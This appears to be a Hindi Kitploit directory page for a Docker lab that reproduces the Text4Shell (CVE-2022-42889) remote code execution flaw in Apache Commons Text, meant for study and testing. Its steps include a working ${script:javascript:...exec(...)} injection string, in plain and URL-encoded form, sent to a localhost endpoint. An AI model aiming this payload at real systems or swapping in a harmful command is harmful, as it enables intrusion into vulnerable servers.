Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
cve-2022-42889-text4shell — Apache Commons Text में CVE-2022-42889 (Text4Shell) दूरस्थ कोड निष्पादन कमजोरी को पुनरुत्पादित और परीक्षण करने के लिए Docker-आधारित प्रयोगशाला वातावरण। | Kitploit
उपकरण/GitHubGitHub/dimamend/cve-2022-42889-text4shell
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणलर्निंग और शिक्षापेलोड डेवलपमेंटलैब और अभ्यास
GitHubdimamend/cve-2022-42889-text4shell

cve-2022-42889-text4shell

Apache Commons Text में CVE-2022-42889 (Text4Shell) दूरस्थ कोड निष्पादन कमजोरी को पुनरुत्पादित और परीक्षण करने के लिए Docker-आधारित प्रयोगशाला वातावरण।

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
रिपॉजिटरी देखें
1 महीना पहलेअभी तक समीक्षित नहीं

Maven स्थापित करें - maven-linux


  1. फैट जार बनाने के लिए Maven स्थापित करें
root@kitploit:~
mvn clean install
  1. Docker बिल्ड
root@kitploit:~
docker build --tag=text4shell .
  1. Docker चलाएँ
root@kitploit:~
docker run -p 80:8080 text4shell
  1. ऐप का परीक्षण करें
root@kitploit:~
http://localhost/text4shell/attack?search=<anything>
  1. हमला एक स्ट्रिंग “${prefix:name}” पास करके किया जा सकता है जहाँ prefix उपरोक्त लुकअप है:
root@kitploit:~
${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}

http://localhost/text4shell/attack?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27touch%20%2Ftmp%2Ffoo%27%29%7D

  1. आप dns या url प्रीफ़िक्स का भी उपयोग कर सकते हैं।

  2. कंटेनर आईडी प्राप्त करें

root@kitploit:~
docker container ls
  1. ऐप में प्रवेश करें
root@kitploit:~
docker exec -it <container_id> bash
  1. यह जाँचने के लिए कि उपरोक्त RCE सफल हुआ या नहीं (आपको /tmp निर्देशिका में foo नामक फ़ाइल बनी हुई दिखनी चाहिए):
root@kitploit:~
ls /tmp/
  1. कंटेनर को रोकने के लिए
root@kitploit:~
docker container stop <container_id>
टूल डाउनलोड करें